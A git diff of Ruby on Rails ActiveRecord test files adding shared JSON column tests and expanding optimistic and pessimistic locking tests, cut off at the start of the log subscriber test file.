   def test_should_be_able_to_encode_relation
     set_include_root_in_json(true) do
-      authors_relation = Author.where(id: [@david.id, @mary.id])
+      authors_relation = Author.where(id: [@david.id, @mary.id]).order(:id)
 
       json = ActiveSupport::JSON.encode authors_relation, only: :name
       assert_equal '[{"author":{"name":"David"}},{"author":{"name":"Mary"}}]', json
diff --git a/activerecord/test/cases/json_shared_test_cases.rb b/activerecord/test/cases/json_shared_test_cases.rb
new file mode 100644
index 0000000000000..c3bfcd16c7e64
--- /dev/null
+++ b/activerecord/test/cases/json_shared_test_cases.rb
@@ -0,0 +1,286 @@
+# frozen_string_literal: true
+
+require "support/schema_dumping_helper"
+require "pp"
+
+module JSONSharedTestCases
+  include SchemaDumpingHelper
+
+  class JsonDataType < ActiveRecord::Base
+    self.table_name = "json_data_type"
+
+    store_accessor :settings, :resolution
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  def teardown
+    @connection.drop_table :json_data_type, if_exists: true
+    klass.reset_column_information
+  end
+
+  def test_column
+    column = klass.columns_hash["payload"]
+    assert_equal column_type, column.type
+    assert_type_match column_type, column.sql_type
+
+    type = klass.type_for_attribute("payload")
+    assert_not_predicate type, :binary?
+  end
+
+  def test_change_table_supports_json
+    @connection.change_table("json_data_type") do |t|
+      t.public_send column_type, "users"
+    end
+    klass.reset_column_information
+    column = klass.columns_hash["users"]
+    assert_equal column_type, column.type
+    assert_type_match column_type, column.sql_type
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("json_data_type")
+    assert_match(/t\.#{column_type}\s+"settings"/, output)
+  end
+
+  def test_cast_value_on_write
+    x = klass.new(payload: { "string" => "foo", :symbol => :bar })
+    assert_equal({ "string" => "foo", :symbol => :bar }, x.payload_before_type_cast)
+    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.payload)
+    x.save!
+    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.reload.payload)
+  end
+
+  def test_type_cast_json
+    type = klass.type_for_attribute("payload")
+
+    data = '{"a_key":"a_value"}'
+    hash = type.deserialize(data)
+    assert_equal({ "a_key" => "a_value" }, hash)
+    assert_equal({ "a_key" => "a_value" }, type.deserialize(data))
+
+    assert_equal({}, type.deserialize("{}"))
+    assert_equal({ "key" => nil }, type.deserialize('{"key": null}'))
+    assert_equal({ "c" => "}", '"a"' => 'b "a b' }, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"})))
+  end
+
+  def test_rewrite
+    @connection.execute(insert_statement_per_database('{"k":"v"}'))
+    x = klass.first
+    x.payload = { '"a\'' => "b" }
+    assert x.save!
+  end
+
+  def test_select
+    @connection.execute(insert_statement_per_database('{"k":"v"}'))
+    x = klass.first
+    assert_equal({ "k" => "v" }, x.payload)
+  end
+
+  def test_select_multikey
+    @connection.execute(insert_statement_per_database('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}'))
+    x = klass.first
+    assert_equal({ "k1" => "v1", "k2" => "v2", "k3" => [1, 2, 3] }, x.payload)
+  end
+
+  def test_null_json
+    @connection.execute(insert_statement_per_database("null"))
+    x = klass.first
+    assert_nil(x.payload)
+  end
+
+  def test_select_nil_json_after_create
+    json = klass.create!(payload: nil)
+    x = klass.where(payload: nil).first
+    assert_equal(json, x)
+  end
+
+  def test_select_nil_json_after_update
+    json = klass.create!(payload: "foo")
+    x = klass.where(payload: nil).first
+    assert_nil(x)
+
+    json.update(payload: nil)
+    x = klass.where(payload: nil).first
+    assert_equal(json.reload, x)
+  end
+
+  def test_select_array_json_value
+    @connection.execute(insert_statement_per_database('["v0",{"k1":"v1"}]'))
+    x = klass.first
+    assert_equal(["v0", { "k1" => "v1" }], x.payload)
+  end
+
+  def test_rewrite_array_json_value
+    @connection.execute(insert_statement_per_database('["v0",{"k1":"v1"}]'))
+    x = klass.first
+    x.payload = ["v1", { "k2" => "v2" }, "v3"]
+    assert x.save!
+  end
+
+  def test_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    x.save!
+    x = klass.first
+    assert_equal "320×480", x.resolution
+
+    x.resolution = "640×1136"
+    x.save!
+
+    x = klass.first
+    assert_equal "640×1136", x.resolution
+  end
+
+  def test_duplication_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    y = x.dup
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_yaml_round_trip_with_store_accessors
+    x = klass.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    payload = YAML.dump(x)
+    y = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_changes_in_place
+    json = klass.new
+    assert_not_predicate json, :changed?
+
+    json.payload = { "one" => "two" }
+    assert_predicate json, :changed?
+    assert_predicate json, :payload_changed?
+
+    json.save!
+    assert_not_predicate json, :changed?
+
+    json.payload["three"] = "four"
+    assert_predicate json, :payload_changed?
+
+    json.save!
+    json.reload
+
+    assert_equal({ "one" => "two", "three" => "four" }, json.payload)
+    assert_not_predicate json, :changed?
+  end
+
+  def test_changes_in_place_ignores_key_order
+    json = klass.new
+    assert_not_predicate json, :changed?
+
+    json.payload = { "three" => "four", "one" => "two" }
+    json.save!
+    json.reload
+
+    json.payload = { "three" => "four", "one" => "two" }
+    assert_not_predicate json, :changed?
+
+    json.payload = [{ "three" => "four", "one" => "two" }, { "seven" => "eight", "five" => "six" }]
+    json.save!
+    json.reload
+
+    json.payload = [{ "three" => "four", "one" => "two" }, { "seven" => "eight", "five" => "six" }]
+    assert_not_predicate json, :changed?
+  end
+
+  def test_changes_in_place_with_ruby_object
+    time = Time.now.utc
+    json = klass.create!(payload: time)
+
+    json.reload
+    assert_not_predicate json, :changed?
+
+    json.payload = time
+    assert_not_predicate json, :changed?
+  end
+
+  def test_assigning_string_literal
+    json = klass.create!(payload: "foo")
+    assert_equal "foo", json.payload
+  end
+
+  def test_assigning_number
+    json = klass.create!(payload: 1.234)
+    assert_equal 1.234, json.payload
+  end
+
+  def test_assigning_boolean
+    json = klass.create!(payload: true)
+    assert_equal true, json.payload
+  end
+
+  def test_not_compatible_with_serialize_json
+    new_klass = Class.new(klass) do
+      serialize :payload, coder: JSON
+    end
+    assert_raises(ActiveRecord::AttributeMethods::Serialization::ColumnNotSerializableError) do
+      new_klass.new
+    end
+  end
+
+  class MySettings
+    def initialize(hash); @hash = hash end
+    def to_hash; @hash end
+    def self.load(hash); new(hash) end
+    def self.dump(object); object.to_hash end
+  end
+
+  def test_json_with_serialized_attributes
+    new_klass = Class.new(klass) do
+      serialize :settings, coder: MySettings
+    end
+
+    new_klass.create!(settings: MySettings.new("one" => "two"))
+    record = new_klass.first
+
+    assert_instance_of MySettings, record.settings
+    assert_equal({ "one" => "two" }, record.settings.to_hash)
+
+    record.settings = MySettings.new("three" => "four")
+    record.save!
+
+    assert_equal({ "three" => "four" }, record.reload.settings.to_hash)
+  end
+
+  class JsonDataTypeWithFilter < ActiveRecord::Base
+    self.table_name = "json_data_type"
+
+    attribute :payload, :json
+
+    def self.filter_attributes
+      # Rails.application.config.filter_parameters += [:password]
+      super + [:password]
+    end
+  end
+
+  def test_pretty_print
+    x = JsonDataTypeWithFilter.create!(payload: {})
+    x.payload[11] = "foo"
+    io = StringIO.new
+    PP.pp(x, io)
+    assert io.string
+  end
+
+  private
+    def klass
+      JsonDataType
+    end
+
+    def assert_type_match(type, sql_type)
+      native_type = ActiveRecord::Base.lease_connection.native_database_types[type][:name]
+      assert_match %r(\A#{native_type}\b), sql_type
+    end
+
+    def insert_statement_per_database(values)
+      "insert into json_data_type (payload) VALUES ('#{values}')"
+    end
+end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 23095618a4904..71ca62c5c8452 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -1,4 +1,5 @@
-require "thread"
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/person"
 require "models/job"
@@ -13,6 +14,7 @@
 require "models/engine"
 require "models/wheel"
 require "models/treasure"
+require "models/frog"
 
 class LockWithoutDefault < ActiveRecord::Base; end
 
@@ -67,8 +69,8 @@ def test_non_integer_lock_destroy
     assert_raise(ActiveRecord::StaleObjectError) { s2.destroy }
 
     assert s1.destroy
-    assert s1.frozen?
-    assert s1.destroyed?
+    assert_predicate s1, :frozen?
+    assert_predicate s1, :destroyed?
     assert_raises(ActiveRecord::RecordNotFound) { StringKeyObject.find("record1") }
   end
 
@@ -102,8 +104,8 @@ def test_lock_destroy
     assert_raises(ActiveRecord::StaleObjectError) { p2.destroy }
 
     assert p1.destroy
-    assert p1.frozen?
-    assert p1.destroyed?
+    assert_predicate p1, :frozen?
+    assert_predicate p1, :destroyed?
     assert_raises(ActiveRecord::RecordNotFound) { Person.find(1) }
   end
 
@@ -158,7 +160,7 @@ def test_lock_exception_record
 
     p2.first_name = "sue"
     error = assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
-    assert_equal(error.record.object_id, p2.object_id)
+    assert_same error.record, p2
   end
 
   def test_lock_new_when_explicitly_passing_nil
@@ -167,13 +169,22 @@ def test_lock_new_when_explicitly_passing_nil
     assert_equal 0, p1.lock_version
   end
 
+  def test_lock_new_when_explicitly_passing_value
+    p1 = Person.new(first_name: "Douglas Adams", lock_version: 42)
+    p1.save!
+    assert_equal 42, p1.lock_version
+  end
+
   def test_touch_existing_lock
     p1 = Person.find(1)
     assert_equal 0, p1.lock_version
 
     p1.touch
+
     assert_equal 1, p1.lock_version
-    assert_not p1.changed?, "Changes should have been cleared"
+    assert_not_predicate p1, :changed?, "Changes should have been cleared"
+    assert_predicate p1, :saved_changes?
+    assert_equal ["lock_version", "updated_at"], p1.saved_changes.keys.sort
   end
 
   def test_touch_stale_object
@@ -184,6 +195,60 @@ def test_touch_stale_object
     assert_raises(ActiveRecord::StaleObjectError) do
       stale_person.touch
     end
+
+    assert_not_predicate stale_person, :saved_changes?
+  end
+
+  def test_update_with_dirty_primary_key
+    assert_raises(ActiveRecord::RecordNotUnique) do
+      person = Person.find(1)
+      person.id = 2
+      person.save!
+    end
+
+    person = Person.find(1)
+    person.id = 42
+    person.save!
+
+    assert Person.find(42)
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Person.find(1)
+    end
+  end
+
+  def test_delete_with_dirty_primary_key
+    person = Person.find(1)
+    person.id = 2
+    person.delete
+
+    assert Person.find(2)
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Person.find(1)
+    end
+  end
+
+  def test_destroy_with_dirty_primary_key
+    person = Person.find(1)
+    person.id = 2
+    person.destroy
+
+    assert Person.find(2)
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Person.find(1)
+    end
+  end
+
+  def test_explicit_update_lock_column_raise_error
+    person = Person.find(1)
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      person.first_name = "Douglas Adams"
+      person.lock_version = 42
+
+      assert_predicate person, :lock_version_changed?
+
+      person.save
+    end
   end
 
   def test_lock_column_name_existing
@@ -225,10 +290,65 @@ def test_lock_without_default_sets_version_to_zero
     assert_equal 0, t1.lock_version_before_type_cast
   end
 
+  def test_touch_existing_lock_without_default_should_work_with_null_in_the_database
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.touch
+
+    assert_equal 1, t1.lock_version
+    assert_not_predicate t1, :changed?
+    assert_predicate t1, :saved_changes?
+    assert_equal ["lock_version", "updated_at"], t1.saved_changes.keys.sort
+  end
+
+  def test_update_lock_version_to_nil_without_validation_or_constraint_raises_error
+    t1 = LockWithoutDefault.create!(title: "title1")
+    assert_raises(RuntimeError, match: locking_column_nil_error_message) { t1.update(lock_version: nil) }
+    assert_raises(RuntimeError, match: locking_column_nil_error_message) { t1.update!(lock_version: nil) }
+  end
+
+  def test_update_lock_version_to_nil_without_validation_raises
+    person = Person.find(1)
+    assert_raises(RuntimeError, match: locking_column_nil_error_message) { person.update(lock_version: nil) }
+    assert_raises(RuntimeError, match: locking_column_nil_error_message) { person.update!(lock_version: nil) }
+  end
+
+  def test_update_lock_version_to_nil_with_validation_does_not_raise_runtime_lock_version_error
+    person = LockVersionValidatedPerson.find(1)
+    assert_nothing_raised { person.update(lock_version: nil) }
+
+    assert_equal ["is not a number"], person.errors[:lock_version]
+  end
+
+  def test_update_bang_lock_version_to_nil_with_validation_does_not_raise_runtime_lock_version_error
+    error = assert_raises(ActiveRecord::RecordInvalid) do
+      LockVersionValidatedPerson.find(1).update!(lock_version: nil)
+    end
+
+    assert_equal ["is not a number"], error.record.errors[:lock_version]
+  end
+
+  def test_touch_stale_object_with_lock_without_default
+    t1 = LockWithoutDefault.create!(title: "title1")
+    stale_object = LockWithoutDefault.find(t1.id)
+
+    t1.update!(title: "title2")
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      stale_object.touch
+    end
+
+    assert_not_predicate stale_object, :saved_changes?
+  end
+
   def test_lock_without_default_should_work_with_null_in_the_database
-    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
     t1 = LockWithoutDefault.last
-    t2 = LockWithoutDefault.last
+    t2 = LockWithoutDefault.find(t1.id)
 
     assert_equal 0, t1.lock_version
     assert_nil t1.lock_version_before_type_cast
@@ -247,15 +367,37 @@ def test_lock_without_default_should_work_with_null_in_the_database
     assert_equal "new title2", t2.title
   end
 
-  def test_lock_without_default_should_update_with_lock_col
-    t1 = LockWithoutDefault.create(title: "title1", lock_version: 6)
+  def test_update_with_lock_version_without_default_should_work_on_dirty_value_before_type_cast
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
 
-    assert_equal 6, t1.lock_version
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
 
-    t1.update(lock_version: 0)
-    t1.reload
+    t1.lock_version = t1.lock_version
 
     assert_equal 0, t1.lock_version
+    assert_equal 0, t1.lock_version_before_type_cast
+
+    assert_nothing_raised { t1.update!(title: "new title1") }
+    assert_equal 1, t1.lock_version
+    assert_equal "new title1", t1.title
+  end
+
+  def test_destroy_with_lock_version_without_default_should_work_on_dirty_value_before_type_cast
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
+
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.lock_version = t1.lock_version
+
+    assert_equal 0, t1.lock_version
+    assert_equal 0, t1.lock_version_before_type_cast
+
+    assert_nothing_raised { t1.destroy! }
+    assert_predicate t1, :destroyed?
   end
 
   def test_lock_without_default_queries_count
@@ -264,21 +406,15 @@ def test_lock_without_default_queries_count
     assert_equal "title1", t1.title
     assert_equal 0, t1.lock_version
 
-    assert_queries(1) { t1.update(title: "title2") }
+    assert_queries_count(3) { t1.update(title: "title2") }
 
     t1.reload
     assert_equal "title2", t1.title
     assert_equal 1, t1.lock_version
 
-    assert_queries(1) { t1.update(title: "title3", lock_version: 6) }
-
-    t1.reload
-    assert_equal "title3", t1.title
-    assert_equal 6, t1.lock_version
-
     t2 = LockWithoutDefault.new(title: "title1")
 
-    assert_queries(1) { t2.save! }
+    assert_queries_count(3) { t2.save! }
 
     t2.reload
     assert_equal "title1", t2.title
@@ -299,10 +435,10 @@ def test_lock_with_custom_column_without_default_sets_version_to_zero
   end
 
   def test_lock_with_custom_column_without_default_should_work_with_null_in_the_database
-    ActiveRecord::Base.connection.execute("INSERT INTO lock_without_defaults_cust(title) VALUES('title1')")
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults_cust(title) VALUES('title1')")
 
     t1 = LockWithCustomColumnWithoutDefault.last
-    t2 = LockWithCustomColumnWithoutDefault.last
+    t2 = LockWithCustomColumnWithoutDefault.find(t1.id)
 
     assert_equal 0, t1.custom_lock_version
     assert_nil t1.custom_lock_version_before_type_cast
@@ -321,38 +457,21 @@ def test_lock_with_custom_column_without_default_should_work_with_null_in_the_da
     assert_equal "new title2", t2.title
   end
 
-  def test_lock_with_custom_column_without_default_should_update_with_lock_col
-    t1 = LockWithCustomColumnWithoutDefault.create(title: "title1", custom_lock_version: 6)
-
-    assert_equal 6, t1.custom_lock_version
-
-    t1.update(custom_lock_version: 0)
-    t1.reload
-
-    assert_equal 0, t1.custom_lock_version
-  end
-
   def test_lock_with_custom_column_without_default_queries_count
     t1 = LockWithCustomColumnWithoutDefault.create(title: "title1")
 
     assert_equal "title1", t1.title
     assert_equal 0, t1.custom_lock_version
 
-    assert_queries(1) { t1.update(title: "title2") }
+    assert_queries_count(3) { t1.update(title: "title2") }
 
     t1.reload
     assert_equal "title2", t1.title
     assert_equal 1, t1.custom_lock_version
 
-    assert_queries(1) { t1.update(title: "title3", custom_lock_version: 6) }
-
-    t1.reload
-    assert_equal "title3", t1.title
-    assert_equal 6, t1.custom_lock_version
-
     t2 = LockWithCustomColumnWithoutDefault.new(title: "title1")
 
-    assert_queries(1) { t2.save! }
+    assert_queries_count(3) { t2.save! }
 
     t2.reload
     assert_equal "title1", t2.title
@@ -360,20 +479,22 @@ def test_lock_with_custom_column_without_default_queries_count
   end
 
   def test_readonly_attributes
-    assert_equal Set.new([ "name" ]), ReadonlyNameShip.readonly_attributes
+    assert_equal [ "name" ], ReadonlyNameShip.readonly_attributes
 
     s = ReadonlyNameShip.create(name: "unchangeable name")
     s.reload
     assert_equal "unchangeable name", s.name
 
-    s.update(name: "changed name")
+    assert_raises(ActiveRecord::ReadonlyAttributeError) do
+      s.update(name: "changed name")
+    end
     s.reload
     assert_equal "unchangeable name", s.name
   end
 
-  def test_quote_table_name
+  def test_quote_table_name_reserved_word_references
     ref = references(:michael_magician)
-    ref.favourite = !ref.favourite
+    ref.favorite = !ref.favorite
     assert ref.save
   end
 
@@ -389,33 +510,88 @@ def test_update_without_attributes_does_not_only_update_lock_version
     end
   end
 
+  def test_counter_cache_with_touch_and_lock_version
+    car = Car.create!
+
+    assert_equal 0, car.wheels_count
+    assert_equal 0, car.lock_version
+
+    previously_updated_at = car.updated_at
+    previously_wheels_owned_at = car.wheels_owned_at
+    travel(1.second) do
+      Wheel.create!(wheelable: car)
+    end
+
+    assert_equal 1, car.reload.wheels_count
+    assert_equal 1, car.lock_version
+    assert_operator previously_updated_at, :<, car.updated_at
+    assert_operator previously_wheels_owned_at, :<, car.wheels_owned_at
+
+    previously_updated_at = car.updated_at
+    previously_wheels_owned_at = car.wheels_owned_at
+    travel(2.second) do
+      car.wheels.first.update(size: 42)
+    end
+
+    assert_equal 1, car.reload.wheels_count
+    assert_equal 2, car.lock_version
+    assert_operator previously_updated_at, :<, car.updated_at
+    assert_operator previously_wheels_owned_at, :<, car.wheels_owned_at
+
+    previously_updated_at = car.updated_at
+    previously_wheels_owned_at = car.wheels_owned_at
+    travel(3.second) do
+      car.wheels.first.destroy!
+    end
+
+    assert_equal 0, car.reload.wheels_count
+    assert_equal 3, car.lock_version
+    assert_operator previously_updated_at, :<, car.updated_at
+    assert_operator previously_wheels_owned_at, :<, car.wheels_owned_at
+
+    car.wheels << Wheel.create!
+    assert_equal 1, car.wheels_count
+    assert_equal 4, car.lock_version
+    assert_not car.lock_version_changed?
+    assert_nothing_raised { car.update(name: "herbie") }
+  end
+
   def test_polymorphic_destroy_with_dependencies_and_lock_version
     car = Car.create!
 
     assert_difference "car.wheels.count"  do
-      car.wheels << Wheel.create!
+      car.wheels.create
     end
     assert_difference "car.wheels.count", -1  do
       car.reload.destroy
     end
-    assert car.destroyed?
+    assert_predicate car, :destroyed?
   end
 
   def test_removing_has_and_belongs_to_many_associations_upon_destroy
     p = RichPerson.create! first_name: "Jon"
     p.treasures.create!
-    assert !p.treasures.empty?
+    assert_not_empty p.treasures
     p.destroy
-    assert p.treasures.empty?
-    assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
+    assert_empty p.treasures
+    assert_empty RichPerson.lease_connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1")
   end
 
   def test_yaml_dumping_with_lock_column
     t1 = LockWithoutDefault.new
-    t2 = YAML.load(YAML.dump(t1))
+    payload = YAML.dump(t1)
+    t2 = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(payload) : YAML.load(payload)
 
     assert_equal t1.attributes, t2.attributes
   end
+
+  private
+    def locking_column_nil_error_message
+      <<-MSG.squish
+        For optimistic locking, locking_column ('lock_version') can't be nil.
+        Are you missing a default value or validation on 'lock_version'?
+      MSG
+    end
 end
 
 class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -468,15 +644,39 @@ def test_destroy_dependents
     PersonalLegacyThing.reset_column_information
   end
 
-  private
+  def test_destroy_existing_object_with_locking_column_value_null_in_the_database
+    ActiveRecord::Base.lease_connection.execute("INSERT INTO lock_without_defaults(title) VALUES('title1')")
+    t1 = LockWithoutDefault.last
 
+    assert_equal 0, t1.lock_version
+    assert_nil t1.lock_version_before_type_cast
+
+    t1.destroy
+
+    assert_predicate t1, :destroyed?
+  end
+
+  def test_destroy_stale_object
+    t1 = LockWithoutDefault.create!(title: "title1")
+    stale_object = LockWithoutDefault.find(t1.id)
+
+    t1.update!(title: "title2")
+
+    assert_raises(ActiveRecord::StaleObjectError) do
+      stale_object.destroy!
+    end
+
+    assert_not_predicate stale_object, :destroyed?
+  end
+
+  private
     def add_counter_column_to(model, col = "test_count")
-      model.connection.add_column model.table_name, col, :integer, null: false, default: 0
+      model.lease_connection.add_column model.table_name, col, :integer, null: false, default: 0
       model.reset_column_information
     end
 
     def remove_counter_column_from(model, col = :test_count)
-      model.connection.remove_column model.table_name, col
+      model.lease_connection.remove_column model.table_name, col
       model.reset_column_information
     end
 
@@ -484,11 +684,11 @@ def counter_test(model, expected_count)
       add_counter_column_to(model)
       object = model.first
       assert_equal 0, object.test_count
-      assert_equal 0, object.send(model.locking_column)
+      assert_equal 0, object.public_send(model.locking_column)
       yield object.id
       object.reload
       assert_equal expected_count, object.test_count
-      assert_equal 1, object.send(model.locking_column)
+      assert_equal 1, object.public_send(model.locking_column)
     ensure
       remove_counter_column_from(model)
     end
@@ -498,8 +698,8 @@ def counter_test(model, expected_count)
 # is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
 # blocks, so separate script called by Kernel#system is needed.
 # (See exec vs. async_exec in the PostgreSQL adapter.)
-unless in_memory_db?
-  class PessimisticLockingTest < ActiveRecord::TestCase
+class PessimisticLockingTest < ActiveRecord::TestCase
+  unless in_memory_db?
     self.use_transactional_tests = false
     fixtures :people, :readers
 
@@ -510,7 +710,7 @@ def setup
     end
 
     # Test typical find.
-    def test_sane_find_with_lock
+    def test_typical_find_with_lock
       assert_nothing_raised do
         Person.transaction do
           Person.lock.find(1)
@@ -530,17 +730,28 @@ def test_eager_find_with_lock
       end
     end
 
-    # Locking a record reloads it.
-    def test_sane_lock_method
+    def test_lock_does_not_raise_when_the_object_is_not_dirty
+      person = Person.find 1
       assert_nothing_raised do
-        Person.transaction do
-          person = Person.find 1
-          old, person.first_name = person.first_name, "fooman"
-          # Locking a dirty record is deprecated
-          assert_deprecated do
-            person.lock!
-          end
-          assert_equal old, person.first_name
+        person.lock!
+      end
+    end
+
+    def test_lock_raises_when_the_record_is_dirty
+      person = Person.find 1
+      person.first_name = "fooman"
+      error = assert_raises(RuntimeError) do
+        person.lock!
+      end
+      assert_match(/Changed attributes: "first_name"/, error.message)
+    end
+
+    def test_locking_in_after_save_callback
+      assert_nothing_raised do
+        frog = ::Frog.create(name: "Old Frog")
+        frog.name = "New Frog"
+        assert_not_deprecated(ActiveRecord.deprecator) do
+          frog.save!
         end
       end
     end
@@ -565,52 +776,208 @@ def test_with_lock_rolls_back_transaction
       assert_equal old, person.reload.first_name
     end
 
+    def test_with_lock_configures_transaction
+      person = Person.find 1
+      Person.transaction do
+        outer_transaction = Person.lease_connection.transaction_manager.current_transaction
+        assert_equal true, outer_transaction.joinable?
+        person.with_lock(requires_new: true, joinable: false) do
+          current_transaction = Person.lease_connection.transaction_manager.current_transaction
+          assert_not_equal outer_transaction, current_transaction
+          assert_equal false, current_transaction.joinable?
+        end
+      end
+    end
+
     if current_adapter?(:PostgreSQLAdapter)
       def test_lock_sending_custom_lock_statement
         Person.transaction do
           person = Person.find(1)
-          assert_sql(/LIMIT \$?\d FOR SHARE NOWAIT/) do
+          assert_queries_match(/LIMIT \$?\d FOR SHARE NOWAIT/) do
             person.lock!("FOR SHARE NOWAIT")
           end
         end
       end
-    end
 
-    if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
-      def test_no_locks_no_wait
-        first, second = duel { Person.find 1 }
-        assert first.end > second.end
+      def test_with_lock_sets_isolation
+        person = Person.find 1
+        person.with_lock(isolation: :read_uncommitted) do
+          current_transaction = Person.lease_connection.transaction_manager.current_transaction
+          assert_equal :read_uncommitted, current_transaction.isolation_level
+        end
       end
 
-      private
+      def test_with_lock_locks_with_no_args
+        person = Person.find 1
+        assert_queries_match(/LIMIT \$?\d FOR UPDATE/i) do
+          person.with_lock do
+          end
+        end
+      end
+
+      def test_with_lock_yields_transaction
+        person = Person.find 1
+        person.with_lock do |transaction|
+          assert_equal Person.current_transaction, transaction
+        end
+      end
+    end
+
+    def test_no_locks_no_wait
+      first, second = duel { Person.find 1 }
+      assert first.end > second.end
+    end
 
-      def duel(zzz = 5)
+    private
+      def duel(&block)
         t0, t1, t2, t3 = nil, nil, nil, nil
 
+        a_wakeup = Concurrent::Event.new
+        b_wakeup = Concurrent::Event.new
+
         a = Thread.new do
           t0 = Time.now
-          Person.transaction do
+          Person.transaction(joinable: false) do
             yield
-            sleep zzz       # block thread 2 for zzz seconds
+            b_wakeup.set
+            a_wakeup.wait
           end
           t1 = Time.now
         end
 
         b = Thread.new do
-          sleep zzz / 2.0   # ensure thread 1 tx starts first
+          b_wakeup.wait
           t2 = Time.now
-          Person.transaction { yield }
+          Person.transaction(&block)
+          a_wakeup.set
           t3 = Time.now
         end
 
         a.join
         b.join
 
-        assert t1 > t0 + zzz
+        assert t1 > t0
         assert t2 > t0
         assert t3 > t2
         [t0.to_f..t1.to_f, t2.to_f..t3.to_f]
       end
+  end
+end
+
+class PessimisticLockingWhilePreventingWritesTest < ActiveRecord::TestCase
+  CUSTOM_LOCK = if current_adapter?(:SQLite3Adapter)
+    "FOR UPDATE" # no-op
+  else
+    "FOR SHARE"
+  end
+
+  fixtures :people
+
+  def test_lock_when_not_preventing_writes
+    person = Person.last!
+    assert_nothing_raised do
+      person.lock!
+    end
+  end
+
+  def test_lock_when_preventing_writes
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        person.lock!
+      end
+    end
+  end
+
+  def test_lock_when_not_preventing_writes_nested
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      ActiveRecord::Base.while_preventing_writes(false) do
+        assert_nothing_raised do
+          person.lock!
+        end
+      end
+    end
+  end
+
+  def test_custom_lock_when_preventing_writes
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        person.lock!(CUSTOM_LOCK)
+      end
+    end
+  end
+
+  def test_with_lock_when_not_preventing_writes
+    person = Person.last!
+    assert_nothing_raised do
+      person.with_lock do
+      end
+    end
+  end
+
+  def test_with_lock_when_preventing_writes
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        person.with_lock do
+        end
+      end
+    end
+  end
+
+  def test_with_lock_when_not_preventing_writes_nested
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      ActiveRecord::Base.while_preventing_writes(false) do
+        assert_nothing_raised do
+          person.with_lock do
+          end
+        end
+      end
+    end
+  end
+
+  def test_custom_with_lock_when_preventing_writes
+    person = Person.last!
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        person.with_lock(CUSTOM_LOCK) do
+        end
+      end
+    end
+  end
+
+  def test_relation_lock_when_not_preventing_writes
+    assert_nothing_raised do
+      Person.lock.find_by id: 1
+    end
+  end
+
+  def test_relation_lock_when_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        Person.lock.find_by id: 1
+      end
+    end
+  end
+
+  def test_relation_lock_when_not_preventing_writes_nested
+    ActiveRecord::Base.while_preventing_writes do
+      ActiveRecord::Base.while_preventing_writes(false) do
+        assert_nothing_raised do
+          Person.lock.find_by id: 1
+        end
+      end
+    end
+  end
+
+  def test_custom_relation_lock_when_preventing_writes
+    ActiveRecord::Base.while_preventing_writes do
+      assert_raises(ActiveRecord::ReadOnlyError) do
+        Person.lock(CUSTOM_LOCK).find_by id: 1
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 90ad970e16262..e76eaa93348e5 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -1,14 +1,19 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/binary"
 require "models/developer"
 require "models/post"
 require "active_support/log_subscriber/test_helper"
+require "active_support/testing/event_reporter_assertions"
+require "active_record/log_subscriber"
+require "active_record/structured_event_subscriber"
 
